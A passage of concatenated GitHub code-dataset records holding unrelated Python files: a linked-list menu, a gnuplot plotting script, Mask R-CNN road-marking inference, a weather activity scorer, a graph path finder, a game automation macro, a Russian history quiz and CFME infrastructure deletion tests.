False:\r\n        print()\r\n        print(\"Tùy Chọn: 11:Thêm vào đầu danh sách, 12:Thêm vào cuối danh sách, 13:Thêm sau nút trong danh sách \")\r\n        print(\"Tùy Chọn: 2:In danh sách, 3:Xóa nút trong danh sách, 4:Kết thúc chương trình\")\r\n        select = abs(int(input(\"Chọn 1 lệnh đ��� thực hiện: \")))\r\n        if select == 11:\r\n            next_val = input(\"Nhập một giá trị bất kì: \")\r\n            linked_list.them_vaodauds(next_val)\r\n            continue\r\n        elif select == 12:\r\n            next_val = input(\"Nhập một giá trị bất kì: \")\r\n            linked_list.them_vaocuoids(next_val)\r\n            continue\r\n        elif select == 13:\r\n            after_node = input(\"Nhập giá trị nút để thêm sau nó: \")\r\n            next_val = input(\"Nhập một giá trị bất kì: \")\r\n            linked_list.them_vaogiua(after_node, next_val)\r\n            continue\r\n        elif select == 2:\r\n            linked_list.print_list()\r\n            continue\r\n        elif select == 3:\r\n            value = input(\"Nhập một giá trị bất kì: \")\r\n            linked_list.xoa_khoids(value)\r\n            continue\r\n        elif select == 4:\r\n            finish = True\r\n            print(\"Chương trình kết thúc...\")\r\n        else:\r\n            print(\"Số không hợp lệ!\")\r\n            ","repo_name":"TLTT245/Do-An-CTDS-GT","sub_path":"DanhSachLienKet/DanhSachLienKetDon.py","file_name":"DanhSachLienKetDon.py","file_ext":"py","file_size_in_byte":4425,"program_lang":"python","lang":"vi","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"15943322733","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n# Author:\n#   Marc-Olivier Buob <marcolivier.buob@orange.fr>\n#\n# Usage:\n#   ./gnuplot2_summaries.py gnuplot_dir\n#\n# Example:\n#   ./gnuplot2_summaries.py ~/git/ibgp2/results/article/rr/gnuplot\n#\n# Outputs:\n#   $gnuplot_dir/*summaries.{dat,gnu,eps}\n\nfrom __future__     import print_function\nfrom __future__     import with_statement # Required in 2.5\n\nimport os, subprocess, sys\n\n#------------------------------------------------------------\n# Constants\n#------------------------------------------------------------\n\nGNU_COMMON = \"\"\"\n# terminal\nset term postscript color eps 18\n\n# Palette (curves color)\nset palette model HSV\nset palette defined ( 0 0 1 1, 1 1 1 1 )\nset palette defined ( 0 0 1 0, 1 0 1 1, 6 0.8333 1 1, 7 0.8333 0 1)\nunset colorbox\n\n# Caption\nset key on inside bottom right\n\"\"\"\n\nGNU_SETTINGS = \"\"\"\n# Title\nset title \"%(title)s\"\n\n# X-axis\nset xlabel \"%(xlabel)s\"\nset xrange %(xrange)s\nset xtics %(xtics)s\nset xtics out\n\n# Y-axis\nset ylabel \"%(ylabel)s\"\nset yrange %(yrange)s\nset ytics %(ytics)s\n\n# Curves\nset border linewidth 1.5\nset style line 1  lt 1 lw 2 pt 1 pi 0 ps 1\nset pointintervalbox 0\nset style data boxes\nplot for [n=1:num_files] data_dir.\"%(prefix)s\".n.\".dat\" using 2:1 with linespoints ls 1 lc palette frac n/(1.0+num_files) title \"|S| = \".n\n\"\"\"\n\nSETTINGS = {\n    \"convergence_time_sec_\" : {\n        \"prefix\" : \"convergence_time_sec_\",\n        \"title\"  : \"iBGP convergence.\",\n        \"xlabel\" : \"Convergence time (in s)\",\n        \"xrange\" : \"[0:]\",\n        \"xtics\"  : 5,\n        \"ylabel\" : \"CDF(%routers)\",\n        \"yrange\" : \"[0:]\",\n        \"ytics\"  : 10\n    },\n    \"diversity_\"            : {\n        \"prefix\" : \"diversity_\",\n        \"title\"  : \"BGP route diversity.\",\n        \"xlabel\" : \"#Routes\",\n        \"xrange\" : \"[0:]\",\n        \"xtics\"  : 1,\n        \"ylabel\" : \"CDF(%routers)\",\n        \"yrange\" : \"[0:]\",\n        \"ytics\"  : 10\n    },\n    \"mem_usage_kib_\"        : {\n        \"prefix\" : \"mem_usage_kib_\",\n        \"title\"  : \"Memory usage.\",\n        \"xlabel\" : \"|S|\",\n        \"xrange\" : \"[0:]\",\n        \"xtics\"  : 1,\n        \"ylabel\" : \"RAM used (RIB+peers) (in kb)\",\n        \"yrange\" : \"[0:]\",\n        \"ytics\"  : 10\n    },\n    \"ram_all_kib_\"        : {\n        \"prefix\" : \"ram_all_kib_\",\n        \"title\"  : \"Memory usage.\",\n        \"xlabel\" : \"|S|\",\n        \"xrange\" : \"[0:]\",\n        \"xtics\"  : 1,\n        \"ylabel\" : \"RAM used (in kb)\",\n        \"yrange\" : \"[0:]\",\n        \"ytics\"  : 10\n    },\n    \"num_recv_message_\"     : {\n        \"prefix\" : \"num_recv_message_\",\n        \"title\"  : \"CPU usage.\",\n        \"xlabel\" : \"#BGP updates received\",\n        \"xrange\" : \"[0:]\",\n        \"xtics\"  : 1,\n        \"ylabel\" : \"CDF(\\%routers)\",\n        \"yrange\" : \"[0:]\",\n        \"ytics\"  : 10\n    },\n    \"diversity_\"            : {\n        \"prefix\" : \"diversity_\",\n        \"title\"  : \"BGP route diversity.\",\n        \"xlabel\" : \"#BGP diversity\",\n        \"xrange\" : \"[0:]\",\n        \"xtics\"  : 1,\n        \"ylabel\" : \"CDF(\\%routers)\",\n        \"yrange\" : \"[0:]\",\n        \"ytics\"  : 10\n    }\n}\n\nGNU_FS = \"\"\"\n# settings\ndata_dir=\"%(gnuplot_dir)s\"\nnum_files=%(num_files)s\nset out data_dir.\"%(filename_eps)s\"\n\"\"\"\n\nINF_USAGE = \"\"\"\nusage: %(prog_name)s gnuplot_dir\n    Args:\n        gnuplot_dir: the directory containing the output generated by gnuplot1_mode.py.\n    Example:\n        %(prog_name)s ~/git/ibgp2/results/article/ibgp2/gnuplot\n    Outputs:\n        \\$gnuplot_dir/convergence_time_sec_all.{gnu, eps}\n        \\$gnuplot_dir/diversity_all.{gnu, eps}\n        \\$gnuplot_dir/mem_usage_kib_all.{gnu, eps}\n        \\$gnuplot_dir/num_recv_message_all.{gnu, eps}\n\"\"\"\n\nSUFFIX_SUMMARY = \"summary\"\n\n#------------------------------------------------------------\n# Log\n#------------------------------------------------------------\n\ndef info(*objs):\n    \"\"\"\n    Print an info.\n    Args:\n        objs: The objects to print.\n    \"\"\"\n    print(\"INFO:\", *objs, file = sys.stdout)\n\ndef error(*objs):\n    \"\"\"\n    Print an error.\n    Args:\n        objs: The objects to print.\n    \"\"\"\n    print(\"ERROR:\", *objs, file = sys.stderr)\n\n#------------------------------------------------------------\n# Gnuplot\n#\n# Each curves (eps file) is produced according to a\n# (.dat, .gnu) pair of input files.\n#\n# The following function generates the .gnu files. This\n# work is split in several print_* functions.\n#------------------------------------------------------------\n\ndef print_common_def(ofs_gnu):\n    \"\"\"\n    Print gnuplot settings shared by all the file written\n    by this script.\n    Args:\n        ofs_gnu: Output stream to the gnuplot file.\n    \"\"\"\n    print(GNU_COMMON, file = ofs_gnu)\n\ndef print_fs(ofs_gnu, gnuplot_dir, num_files, filename_eps):\n    \"\"\"\n    Write in a gnuplot file the information related to the\n    filesystem (location of the *.dat files containing the\n    points, path of the *.eps file, etc.).\n    Args:\n        ofs_gnu: Output stream to the gnuplot file.\n        gnuplot_dir: Directory containing the *.dat files.\n        num_files: Number of files related to this curves.\n        filename_eps: Path of the resulting eps file.\n    \"\"\"\n    print(GNU_FS % {\n        \"gnuplot_dir\"  : os.path.abspath(gnuplot_dir) + os.path.sep,\n        \"num_files\"    : num_files,\n        \"filename_eps\" : os.path.basename(filename_eps)\n    }, file = ofs_gnu)\n\ndef print_settings(ofs_gnu, settings):\n    \"\"\"\n    Prints gnuplot settings.\n    Args:\n        ofs_gnu: Output stream to the gnuplot file.\n        settings: A dict instance. Example: setting[\"diversity_\"]\n    \"\"\"\n    print(GNU_SETTINGS % settings, file = ofs_gnu)\n\ndef make_gnu_all(ofs_gnu, gnuplot_dir, num_files, filename_eps, settings):\n    \"\"\"\n    Write the gnuplot file related to a curve.\n    Args:\n        ofs_gnu: Output stream to the gnuplot file.\n        gnuplot_dir: Directory containing the *.dat files.\n        num_files: Number of files related to this curves.\n        filename_eps: Path of the resulting eps file.\n        settings: Settings related to this curve.\n    \"\"\"\n    print_common_def(ofs_gnu)\n    print_fs(ofs_gnu, gnuplot_dir, num_files, filename_eps)\n    print_settings(ofs_gnu, settings)\n\ndef call_gnuplot(filename_gnu):\n    \"\"\"\n    Process a gnu file with gnuplot.\n    Args:\n        filename_gnu: The absolute path of the gnuplot file.\n    \"\"\"\n    with open(os.devnull, \"w\") as fnull:\n        subprocess.Popen([\"gnuplot\", filename_gnu], stderr = fnull)\n\n#------------------------------------------------------------\n# Main program\n#------------------------------------------------------------\n\ndef print_usage(output_file = sys.stderr):\n    \"\"\"\n    Print the usage of this program.\n    Args:\n        output_file: The output file.\n    \"\"\"\n    print(INF_USAGE % {\"prog_name\" : sys.argv[0]}, file = output_file)\n\ndef main():\n    \"\"\"\n    Main program.\n    \"\"\"\n    # Check arguments\n    argc = len(sys.argv)\n    if argc != 2:\n        print_usage()\n        return 1\n\n    gnuplot_dir = sys.argv[1]\n    for prefix in SETTINGS.keys():\n        # DEBUG\n        if prefix != \"convergence_time_sec_\":\n            print(\"g3: DEBUG: skip\")\n\n        # Count number of file matches the current prefixes\n        num_files = 0\n        for filename in os.listdir(gnuplot_dir):\n            basename = os.path.basename(filename)\n            if basename.startswith(prefix) and basename.endswith(\".dat\") and not basename.endswith(SUFFIX_SUMMARY + \".dat\"):\n                num_files += 1\n\n        filename_wext = os.path.abspath(os.path.join(gnuplot_dir, \"%s%s\" % (prefix, SUFFIX_SUMMARY)))\n        filename_gnu = \"%s.gnu\" % filename_wext\n        filename_eps = \"%s.eps\" % filename_wext\n\n        if num_files > 0:\n            with open(filename_gnu, \"w\") as ofs_gnu:\n                info(\"Writting %s\" % filename_gnu)\n                make_gnu_all(ofs_gnu, gnuplot_dir, num_files, filename_eps, SETTINGS[prefix])\n                info(\"Writting %s\" % filename_eps)\n                call_gnuplot(filename_gnu)\n        else:\n            error(\"No file found in [%s] matching [%s]\" % (gnuplot_dir, prefix))\n    return 0\n\nif __name__ == '__main__':\n    sys.exit(main())\n","repo_name":"ibgp2/ibgp2","sub_path":"scripts/gnuplot2_summaries.py","file_name":"gnuplot2_summaries.py","file_ext":"py","file_size_in_byte":8074,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"77"}
+{"seq_id":"24487341037","text":"import os\nimport sys\nimport random\nimport math\nimport numpy as np\nimport skimage.io\nimport matplotlib\nmatplotlib.use(\"Agg\")\nimport matplotlib.pyplot as plt\nimport colorsys\n\n\ndir_path = os.path.abspath(\"../../\")\n\n#image_path=os.path.abspath(sys.argv[1]) \nimage_path=\"/home/geo/kh/Mask_RCNN-master_sign/samples/sign_data/all_TW_homo/\"\n#save_filename = os.path.basename(image_path)\n#save_dir = os.path.abspath(\"../hole_result/project_4\")\nsave_dir = (\"/media/sda1/chun/research/result/all_TW_homo_front+homo model\")\n\n# Root directory of the project\nROOT_DIR = os.path.abspath(\"../../\")\n\n# Import Mask RCNN\nsys.path.append(ROOT_DIR)  # To find local version of the library\nfrom mrcnn import utils\nimport mrcnn.model as modellib\nfrom mrcnn import visualize\n\nfrom coco_master.PythonAPI.pycocotools.coco import COCO\nfrom coco_master.PythonAPI.pycocotools.cocoeval import COCOeval\nfrom coco_master.PythonAPI.pycocotools import mask as maskUtils\n\n###################################\n#############visualize#############\nfrom skimage.measure import find_contours\nfrom matplotlib.patches import Polygon\ndef random_colors(N, bright=True):\n\n    brightness = 1.0 if bright else 0.7\n    hsv = [(i / N, 1, brightness) for i in range(N)]\n    colors = list(map(lambda c: colorsys.hsv_to_rgb(*c), hsv))\n    random.shuffle(colors)\n    return colors\n\ndef apply_mask(image, mask, color, alpha=0.5):#alpha=0.5\n    for c in range(3):\n        image[:, :, c] = np.where(mask == 1,\n                                  image[:, :, c] *\n                                  (1 - alpha) + alpha * color[c] * 255,\n                                  image[:, :, c])\n    return image\n\ndef display_instances(image, boxes, masks, class_ids, class_names,\n                      scores=None, title=\"\",\n                      figsize=(16, 16), ax=None,\n                      show_mask=True, show_bbox=True,\n                      colors=None, captions=None, all_info=False, save=\"test.png\"):\n    # Number of instances\n    N = boxes.shape[0]\n    if not N:\n        print(\"\\n*** No instances to display *** \\n\")\n    else:\n        assert boxes.shape[0] == masks.shape[-1] == class_ids.shape[0]\n\n    # If no axis is passed, create one and automatically call show()\n    auto_show = False\n    if not ax: \n        _, ax = plt.subplots(1, figsize=figsize)\n        plt.subplots_adjust(left=0, bottom=0, right=1, top=1, wspace=0, hspace=0)\n        auto_show = False\n\n    # Generate random colors\n    colors = colors or random_colors(N)\n\n    # Show area outside image boundaries.\n    height, width = image.shape[:2]\n    ax.set_ylim(height + 10, -10)\n    ax.set_xlim(-10, width + 10)\n    ax.set_ylim(height, 0)\n    ax.set_xlim(0, width)\n    ax.axis('off')\n    #ax.set_title(title)\n\n    masked_image = image.astype(np.uint32).copy()\n    for i in range(N):\n        color = colors[i]\n        #color=(1.0, 1.0, 1.0)\n        # Bounding box\n        if not np.any(boxes[i]):\n            # Skip this instance. Has no bbox. Likely lost in image cropping.\n            continue\n        y1, x1, y2, x2 = boxes[i]\n        if show_bbox:\n            p = patches.Rectangle((x1, y1), x2 - x1, y2 - y1, linewidth=2,\n                                alpha=0.7, linestyle=\"dashed\",\n                                edgecolor=color, facecolor='none')\n            ax.add_patch(p)\n\n        # Label\n        if not captions:\n            class_id = class_ids[i]\n            score = scores[i] if scores is not None else None\n            label = class_names[class_id]\n            #x = random.randint(x1, (x1 + x2) // 2)\n            caption = \"{} {:.3f}\".format(label, score) if score else label\n        else:\n            caption = captions[i]\n        ax.text(x1, y1 , caption,####這裡調整label字型顏色大小\n                color='w', size=10)####這裡調整label字型顏色大小\n        # Mask\n        mask = masks[:, :, i]\n        if show_mask:\n            masked_image = apply_mask(masked_image, mask, color)\n\n        # Mask Polygon\n        # Pad to ensure proper polygons for masks that touch image edges.\n        padded_mask = np.zeros(\n            (mask.shape[0] + 2, mask.shape[1] + 2), dtype=np.uint8)\n        padded_mask[1:-1, 1:-1] = mask\n        contours = find_contours(padded_mask, 0.5)\n        for verts in contours:\n            # Subtract the padding and flip (y, x) to (x, y)\n            verts = np.fliplr(verts) - 1\n            p = Polygon(verts, facecolor=\"none\", edgecolor=color)\n            ax.add_patch(p)\n    if all_info:\n    \t#ax.imshow(masked_image.astype(np.uint8))\n    \tsaveax=ax.imshow(masked_image.astype(np.uint8))\n    \tsaveax.figure.savefig(save)\n    else:\n    \timg=(masked_image.astype(np.uint8))\n    \tskimage.io.imsave(save,img)\n    if auto_show:\n        plt.show()\n#############visualize#############\n###################################\n\n# Import COCO config\nsys.path.append(os.path.join(ROOT_DIR, \"samples/sign/\"))  \nimport bev_project #############\n\n#MODEL_DIR = os.path.join(ROOT_DIR, \"hole_logs/project_1\") ##########最新權重檔的資料夾\nMODEL_DIR = (\"/media/sda1/chun/research/logs/front_homo\")\n\n# Local path to trained weights file\nCOCO_MODEL_PATH = os.path.join(MODEL_DIR, \"mask_rcnn_hole_0100.h5\")\nprint(COCO_MODEL_PATH)\n# Download COCO trained weights from Releases if needed\nif not os.path.exists(COCO_MODEL_PATH):\n    utils.download_trained_weights(COCO_MODEL_PATH)\n\n\nclass InferenceConfig(bev_project.SignConfig):\n    # Set batch size to 1 since we'll be running inference on\n    # one image at a time. Batch size = GPU_COUNT * IMAGES_PER_GPU\n    GPU_COUNT = 1\n    IMAGES_PER_GPU = 1\n\nconfig = InferenceConfig()\nconfig.display()\n\n# Create model object in inference mode.\nmodel = modellib.MaskRCNN(mode=\"inference\", model_dir=MODEL_DIR, config=config)\n\n# Load weights trained on MS-COCO\nmodel.load_weights(COCO_MODEL_PATH, by_name=True)\n\nclass_names = ['BG', 'straight arrow', 'left arrow', 'right arrow', 'straight left arrow', 'straight right arrow',\t'pedestrian crossing', 'special lane'] #######\n\n\nfor img in os.listdir(image_path):\n\timage = skimage.io.imread(os.path.join(image_path,img))\n\n\tprint(img)\n\t# Run detection\n\tif image.shape[-1] is 4:\n    \t\timage = image[..., :3]\n\tresults = model.detect([image], verbose=1)\n\n\n\t# Visualize results\n\tr = results[0]\n\t\n\tsave_DIR=save_dir + '/'+ img\n\theight, width = image.shape[:2]\n\timg=display_instances(image, r['rois'], r['masks'], r['class_ids'], class_names, \tr['scores'], show_bbox=False, all_info=True, save=save_DIR, figsize=((width/100),(height/100)))\n\t\n\n\n'''\nimage = skimage.io.imread(image_path)\n# Run detection\nif image.shape[-1] is 4:\n    image = image[..., :3]\nresults = model.detect([image], verbose=1)\n\n# Visualize results\nr = results[0]\nprint(r['class_ids'])\nsave_DIR=save_dir + '/' +save_filename\nheight, width = image.shape[:2]\nimg=visualize.display_instances(image, r['rois'], r['masks'], r['class_ids'], class_names, r['scores'], show_bbox=False, all_info=True, save=save_DIR, figsize=((width/100),(height/100)))'''\n#skimage.io.imsave(save_dir + '/' +save_filename,img)\n\n","repo_name":"yichun-hub/MaskRCNN_Road-Markings","sub_path":"bev_test_project.py","file_name":"bev_test_project.py","file_ext":"py","file_size_in_byte":7007,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"40568083030","text":"import statistics\nfrom typing import List\n\nfrom fun_forecast_backend.activity_schema.dataclasses import ActivitySchema\nfrom fun_forecast_backend.core.standard_logger import get_logger\nfrom fun_forecast_backend.forecast.dataclasses import Forecast\nfrom fun_forecast_backend.shared.dataclasses import HourData, WeatherCondition\n\n\nlogger = get_logger()\n\n\ndef calculate_forecast(schema: ActivitySchema, hours: List[HourData]) -> Forecast:\n    evaluated_hours: List[HourData] = []\n    for hour in hours:\n        hour.score = evaluate_hour_v0(schema, hour)\n        evaluated_hours.append(hour)\n\n    return Forecast(\n        verb=schema.verb,\n        evaluated_hours=evaluated_hours\n    )\n\n\ndef evaluate_hour_v0(schema: ActivitySchema, hour: HourData) -> float:\n    if not is_wind_acceptable(schema, hour.wind):\n        return -1.0\n\n    if not is_weather_acceptable(schema, hour.weatherCode):\n        return -1.0\n\n    if not is_temperature_acceptable(schema, hour.temp):\n        return -1.0\n\n    if not is_light_condition_acceptable(schema, hour.isDaytime):\n        return -1.0\n\n    return calculate_aggregate_score(schema, hour)\n\n\ndef is_weather_acceptable(schema: ActivitySchema, weather_condition: WeatherCondition) -> bool:\n    weather_condition = weather_condition.name.lower()\n    unacceptable_weather_conditions = [x.lower() for x in schema.weather_conditions.never]\n    if weather_condition not in unacceptable_weather_conditions:\n        logger.debug(f'Weather condition is acceptable: \\'{weather_condition}\\' not in {unacceptable_weather_conditions}')\n        return True\n    return False\n\n\ndef is_wind_acceptable(schema: ActivitySchema, wind: int) -> bool:\n    if int(schema.wind.max) > wind > int(schema.wind.min):\n        logger.debug(f'Wind is acceptable: {wind}, min: {schema.wind.min}, max: {schema.wind.max}')\n        return True\n    return False\n\n\ndef is_temperature_acceptable(schema: ActivitySchema, temp: int) -> bool:\n    if int(schema.temp.max) > temp > int(schema.temp.min):\n        logger.debug(f'Temperature is acceptable: {temp}, min: {schema.temp.min}, max: {schema.temp.max}')\n        return True\n    return False\n\n\ndef is_light_condition_acceptable(schema: ActivitySchema, is_daytime: bool) -> bool:\n    if is_daytime and schema.light_conditions.daytime:\n        logger.debug(f'Light condition is acceptable - is daytime: {is_daytime}, daytime acceptable: {schema.light_conditions.daytime}')\n        return True\n    if not is_daytime and schema.light_conditions.nighttime:\n        logger.debug(f'Light condition is acceptable - is daytime: {is_daytime}, nighttime acceptable: {schema.light_conditions.nighttime}')\n        return True\n    return False\n\n\ndef calculate_aggregate_score(schema: ActivitySchema, hour: HourData) -> float:\n    temp_score = calculate_attribute_score(schema.temp, hour.temp)\n    wind_score = calculate_attribute_score(schema.wind, hour.wind)\n\n    agg_score = statistics.harmonic_mean([temp_score, wind_score])\n    logger.debug(f'Aggregate score is {agg_score}')\n    return agg_score\n\n\ndef calculate_attribute_score(schema_property, value: int) -> float:\n    if value >= schema_property.ideal:\n        range = get_range(schema_property.ideal, schema_property.max)\n        offset = value - schema_property.ideal\n    else:\n        range = get_range(schema_property.ideal, schema_property.min)\n        offset = schema_property.ideal - value\n    penalty = 0.0 if range == 0 else float(offset) / float(range)\n    score = 1.0 - penalty\n    logger.debug(f'Score for property: {schema_property} and value {value} is {score}')\n    return score\n\n\ndef get_range(ideal, limit):\n    return max(ideal, limit) - min(ideal, limit)","repo_name":"chelshaw/fun-forecast","sub_path":"backend/src/fun_forecast_backend/forecast/forecast.py","file_name":"forecast.py","file_ext":"py","file_size_in_byte":3661,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"73747833850","text":"class Graph:\n    def __init__(self, routes):\n        self.start_end_edges = {}\n        for start, end in routes:\n            self.start_end_edges.setdefault(start, []).append(end)\n    \n    @property\n    def getEdges(self):\n        return self.start_end_edges\n\n    def get_start_end_paths(self, start=None, end=None, path=[]):\n        path = path + [start]\n\n        if start == end:\n            return [path]\n\n        if start not in self.getEdges:\n            return \n\n        all_s_e_paths = []\n        for node in self.getEdges.get(start):\n            if node not in path:\n                newpaths = self.get_start_end_paths(node, end=end, path=path)\n                for newp in newpaths:\n                    all_s_e_paths.append(newp)\n        return all_s_e_paths\n\n\n\nif __name__ == \"__main__\":\n    routes = [\n        (\"Mumbai\", \"Paris\"),\n        (\"Mumbai\", \"Dubai\"),\n        (\"Paris\", \"Dubai\"),\n        (\"Paris\", \"New York\"),\n        (\"Dubai\", \"New York\"),\n        (\"New York\", \"Toronto\"),\n    ]\n\n    grp = Graph(routes=routes)\n    start = \"Mumbai\"\n    end = \"New York\"\n    print(grp.get_start_end_paths(start=start, end=end))\n\n    ","repo_name":"BALAVIGNESHDOSTRIX/PyExpert","sub_path":"Datastructures/grahN.py","file_name":"grahN.py","file_ext":"py","file_size_in_byte":1135,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"18407002233","text":"# worldBoss.py last updated 24/08/2020\n\n#  -------------------------Import Modules and Classes-------------------------\nimport tagatame\nreload(tagatame)\nfrom tagatame import *\n\n#  -------------------------Assets-------------------------\narrange = \"arrange.png\"\nwbStart = \"wbStart.png\"\n\nwbNext = \"wbNext.png\"\nwbDmg = \"wbDmg.png\"\nbottom = Pattern(\"bottom.png\").targetOffset(-250,0)\n\n#  -------------------------Define Function-------------------------\ndef worldBoss(n):\n\ti = 0\n\twhile i < n:\n\t\tt = 0\n\t\tclkObj(arrange)\n\t\tclkObj(wbStart)\n\t\tapCheck(wbStart, q=2)\n\t\tsysMsg(\"Entered battle. Waiting for 100 sec.\")\n\t\tsleep(100)\n\t\twhile not exists(wbDmg):\n\t\t\tsysMsg(\"wbDmg not found. Waiting for 1 sec. Total waiting time = \" + str(t) + \" sec.\")\n\t\t\tt = t + 1\n\t\t\tsleep(1)\n\t\ti = i + 1 \n\t\tclkObj(wbDmg)\n\t\tx = 0\n\t\twhile not exists(arrange, 0):\n\t\t\tclick(bottom)\n\t\t\tmouseMove(10,0)\n\t\t\tx = x + 1\n\t\t\tif x == 600:\n\t\t\t\texit()\n\t\tsysMsg(\"Returned to world map. Successfully looped \" + str(i) + \" times.\")\n\n#  -------------------------Command-------------------------\nworldBoss(999)","repo_name":"Snowdome/tagatame","sub_path":"Sikuli/worldBoss.sikuli/worldBoss.py","file_name":"worldBoss.py","file_ext":"py","file_size_in_byte":1059,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"33325675025","text":"# В программу добавлен функционал повторного запроса информации, если пользователь ввёл не число.\n\nimport random\n\nQUESTIONNAIRE = [\n    {'name': 'Ленин Владимир Ильич',          'dob_d': '22.04.1870', 'dob_a': 'двадцать второе апреля 1870 года'},\n    {'name': 'Шукшин Василий Макарович',      'dob_d': '25.07.1929', 'dob_a': 'двадцать пятое июля 1929 года'},\n    {'name': 'Высоцкий Владимир Семенович',   'dob_d': '25.01.1938', 'dob_a': 'двадцать пятое января 1938 года'},\n    {'name': 'Куприн Александр Иванович',     'dob_d': '26.08.1870', 'dob_a': 'двадцать шестое августа 1870 года'},\n    {'name': 'Петр 1 Алексеевич (Великий)',   'dob_d': '09.06.1672', 'dob_a': 'девятое июня 1672 года'},\n    {'name': 'Чехов  Антон Павлович ',        'dob_d': '29.01.1860', 'dob_a': 'двадцать девятое января 1860 года'},\n    {'name': 'Толстой Лев Николаевич',         'dob_d': '09.09.1828', 'dob_a': 'девятое  сентября 1828 года'},\n    {'name': 'Есенин  Сергей Александрович',   'dob_d': '03.10.1895', 'dob_a': 'третье октября 1895 года'},\n    {'name': 'Пушкин  Александр Сергеевич',    'dob_d': '06.06.1799', 'dob_a': 'шестое  июня 1799 года'},\n    {'name': 'Гоголь Николай Васильевич',      'dob_d': '01.04.1809', 'dob_a': 'первое  апреля 1809 года'},\n]\nASK = 'Напишите дату рождения данного известного человека в формате \"дд.мм.гггг\":\\n'\ni = 0\ncorrect =0\nincorrect = 0\nselection = random.sample(range(10), 5)\n\nprint('Викторина: \"Известные люди России\"\\n')\n\nwhile True:\n    if i == len(selection):\n        print(f'Правильных ответов: {correct}.\\n'\n              f'Неправильных ответов: {incorrect}.\\n'\n              f'Процент правильных ответов: {correct * 100/i}%.\\n'\n              f'Процент неправильных ответов: {incorrect * 100/i}%.\\n\\n')\n        ans = input('Желаете пройти тест ещё раз? ( Да / Нет)')\n        if ans.lower() == 'да':\n            i = 0\n            correct = 0\n            incorrect = 0\n        else:\n            break\n    print(f\"{i+1}. {ASK}{QUESTIONNAIRE[selection[i]]['name']}.\")\n    ans = input('>>>')\n    if ans[:2].isdigit() and [2] == '.' and ans[3:5].isdigit() and ans[5] == '.' and ans[6:].isdigit():\n        if ans == QUESTIONNAIRE[selection[i]]['dob_d']:\n\n            correct +=1\n        else:\n            incorrect +=1\n            print(f\"Неверно. Правильный ответ: {QUESTIONNAIRE[selection[i]]['dob_a']}\")\n        i +=1\n    else:\n        print('некорректный формат ввода данных. Поробуйте ещё раз.')","repo_name":"starichok2019/week3","sub_path":"victorina.py","file_name":"victorina.py","file_ext":"py","file_size_in_byte":3195,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"18093358988","text":"import pytest\n\nfrom cfme import test_requirements\nfrom cfme.infrastructure.provider import InfraProvider\nfrom cfme.utils.wait import wait_for\n\n\npytestmark = [\n    pytest.mark.tier(3),\n    test_requirements.general_ui,\n    pytest.mark.usefixtures('setup_provider'),\n    pytest.mark.provider([InfraProvider], required_fields=['remove_test'], scope=\"module\")\n]\n\n\n@pytest.mark.rhel_testing\ndef test_delete_cluster_appear_after_refresh(provider, appliance):\n    \"\"\" Tests delete cluster\n\n    Metadata:\n        test_flag: delete_object\n\n    Polarion:\n        assignee: tpapaioa\n        casecomponent: WebUI\n        initialEstimate: 1/10h\n    \"\"\"\n    cluster_col = appliance.collections.clusters.filter({'provider': provider})\n    test_cluster = cluster_col.all()[0]\n    test_cluster.delete(cancel=False, wait=True)\n    provider.refresh_provider_relationships()\n    test_cluster.wait_for_exists()\n\n\ndef test_delete_host_appear_after_refresh(appliance, provider):\n    \"\"\" Tests delete host\n\n    Metadata:\n        test_flag: delete_object\n\n    Polarion:\n        assignee: tpapaioa\n        initialEstimate: 1/4h\n        casecomponent: WebUI\n    \"\"\"\n    host_collection = appliance.collections.hosts\n    host_name = provider.data['remove_test']['host']\n    test_host = host_collection.instantiate(name=host_name, provider=provider)\n    test_host.delete(cancel=False)\n    test_host.wait_for_delete()\n    provider.refresh_provider_relationships()\n    test_host.wait_to_appear()\n\n\ndef test_delete_vm_appear_after_refresh(provider):\n    \"\"\" Tests delete vm\n\n    Metadata:\n        test_flag: delete_object\n\n    Polarion:\n        assignee: tpapaioa\n        initialEstimate: 1/4h\n        casecomponent: WebUI\n    \"\"\"\n    vm = provider.data['remove_test']['vm']\n    test_vm = provider.appliance.collections.infra_vms.instantiate(vm, provider)\n    test_vm.delete()\n    test_vm.wait_for_delete()\n    provider.refresh_provider_relationships()\n    test_vm.wait_to_appear()\n\n\ndef test_delete_template_appear_after_refresh(provider):\n    \"\"\" Tests delete template\n\n    Metadata:\n        test_flag: delete_object\n\n    Polarion:\n        assignee: tpapaioa\n        initialEstimate: 1/4h\n        casecomponent: WebUI\n    \"\"\"\n    template = provider.data['remove_test']['template']\n    test_template = provider.appliance.collections.infra_templates.instantiate(template, provider)\n    test_template.delete()\n    test_template.wait_for_delete()\n    provider.refresh_provider_relationships()\n    test_template.wait_to_appear()\n\n\ndef test_delete_resource_pool_appear_after_refresh(provider, appliance):\n    \"\"\" Tests delete pool\n\n    Metadata:\n        test_flag: delete_object\n\n    Polarion:\n        assignee: tpapaioa\n        initialEstimate: 1/4h\n        casecomponent: WebUI\n    \"\"\"\n    resourcepool_name = provider.data['remove_test']['resource_pool']\n    test_resourcepool = appliance.collections.resource_pools.instantiate(\n        name=resourcepool_name, provider=provider)\n    test_resourcepool.delete(cancel=False, wait=True)\n    provider.refresh_provider_relationships()\n    test_resourcepool.wait_for_exists()\n\n\n@pytest.mark.meta(blockers=[1335961, 1467989])\n@pytest.mark.ignore_stream(\"upstream\")\ndef test_delete_datastore_appear_after_refresh(provider, appliance):\n    \"\"\" Tests delete datastore\n\n    Metadata:\n        test_flag: delete_object\n\n    Polarion:\n        assignee: tpapaioa\n        initialEstimate: 1/4h\n        casecomponent: WebUI\n    \"\"\"\n    datastore_collection = appliance.collections.datastores\n    data_store = provider.data['remove_test']['datastore']\n    test_datastore = datastore_collection.instantiate(name=data_store, provider=provider)\n\n    if test_datastore.host_count > 0:\n        test_datastore.delete_all_attached_hosts()\n    if 